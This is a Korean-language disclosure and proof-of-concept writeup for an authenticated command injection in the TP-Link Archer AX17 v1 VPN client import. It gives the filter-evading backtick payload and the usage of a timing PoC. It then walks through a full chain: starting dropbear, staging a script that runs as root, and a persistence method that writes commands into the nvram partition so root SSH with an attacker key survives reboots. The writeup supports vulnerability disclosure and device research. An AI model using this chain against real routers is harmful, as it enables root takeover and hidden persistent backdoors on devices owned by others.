
TP-Link Archer AX17 v1 VPN 클라이언트 가져오기에서 발생하는 인증된 OS 명령 주입 취약점입니다.
Archer AX17 v1 VPN 클라이언트 가져오기에서 발생하는 인증된 OS 명령 주입 취약점입니다.
LAN에 있는 관리자가 OpenVPN 클라이언트 프로필을 가져옵니다. 프로필 설명은 /etc/openvpn/<des>.ovpn이라는 파일 이름으로 저장됩니다. 해당 프로필을 읽으면 그 경로가 /tmp/ovpn_curr_edit에 기록됩니다. 업로드가 준비되지 않은 상태에서 다음 VPN 쓰기 작업이 발생하면, 그 경로가 따옴표 없이 grep과 sed에 전달되며, 이들은 웹 서버가 root 권한으로 실행합니다.
설명 필터는 /, ;, |, 공백을 거부하고 문자열을 64자로 제한합니다. 백틱은 통과하므로 페이로드는 S`sleep${IFS}1`입니다. ${IFS}가 명령에 공백을 제공하는 방식입니다.
| 영향 받음 | Archer AX17 v1, 펌웨어 1.1.28 P1 [20250523-rel65103], 및 수정 이전 빌드 |
| 수정됨 | 1.5.0 Build 20260605 |
| 접근 | LAN에서의 관리자 세션. 로그인 전에는 접근 불가. |
| 영향 | Root 명령 실행 |
poc.js를 붙여넣습니다.await poc(0)을 실행한 다음 await poc(1)을 실행합니다.poc(0)은 수백 밀리초 만에 반환됩니다. poc(1)은 약 1초 더 걸립니다. 그 차이는 root 권한으로 실행되는 sleep 1입니다. 스크립트는 자신이 생성한 프로필을 삭제합니다.
1.1.28에서 테스트했습니다. poc(1)은 1238 ms, poc(3)은 3504 ms, poc(7)은 7204 ms였으며, 대조군은 324 ms였습니다.
주입은 root 권한으로 실행되므로 dropbear를 시작할 수 있습니다. 이 빌드에서 중요한 두 가지가 있습니다:
-L("Enable SSH session login")이 필요합니다. 이것이 없으면 dropbear는 인증한 뒤 모든 셸 요청에 exec request failed로 응답합니다./etc는 ramfs입니다. rc.local, /etc/shadow, /etc/dropbear/authorized_keys는 부팅할 때마다 squashfs에서 다시 생성됩니다. nvram 파티션만 지속됩니다.따라서 임시 방법과 영구 방법으로 나뉩니다.
ssh-temp.js에는 두 개의 호출이 있습니다:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp()는 웹 계정 모드로 dropbear를 시작합니다. 라우터 관리자 비밀번호로 로그인합니다:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
이 셸은 root가 아닌 uid 1000(admin)이며 /etc에 쓸 수 없습니다. 권한을 상승시키려면 ssh-root.sh를 /tmp/r에 준비합니다:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
그런 다음 콘솔에서 runStaged('r')을 호출합니다. 주입은 스크립트를 uid 0으로 실행하고, /etc/dropbear/authorized_keys를 작성하며, dropbear -L -p 2227을 시작합니다. (runStaged는 웹 백엔드의 작업 디렉터리가 /www이기 때문에 ${PWD%www}로 /tmp/<name>을 구성합니다.) 연결합니다:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
이 방법은 다음 재부팅까지 유지됩니다.
ssh-persist.sh를 root로 실행합니다(예: 임시 root 셸을 통해). 이 스크립트는 nvram profile 파티션에 rc.local을 추가합니다. S10boot는 S95done이 /etc/rc.local을 실행하기 전에 해당 파티션을 /etc로 복원하므로, 명령은 부팅할 때마다 실행됩니다.
파티션은 암호화된 줄 단위 uci XML입니다. <dir>은 /etc/<dir>을 생성하고, <file>은 /etc/<dir>/<file>을 생성하며, 태그 이름은 option 뒤에 그대로 기록됩니다. 따라서 ;로 시작하는 태그는 rc.local에 다음과 같이 들어갑니다
option ;<command> # 'x'
이는 <command>를 root로 실행합니다. 스크립트는 벤더의 profile.d 블록을 보존하고 다음을 기록합니다:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
재부팅 후 root SSH는 동일한 키로 22번 포트에서 활성화됩니다. 먼저 파티션을 백업하십시오. 스크립트는 백업 경로와 복원 명령을 출력합니다.
참고: 이 펌웨어에는 chpasswd가 존재하지 않습니다. 이를 사용해 root 비밀번호를 설정하려 하지 마십시오. 위와 같이 authorized_keys를 사용하거나 passwd를 사용하십시오.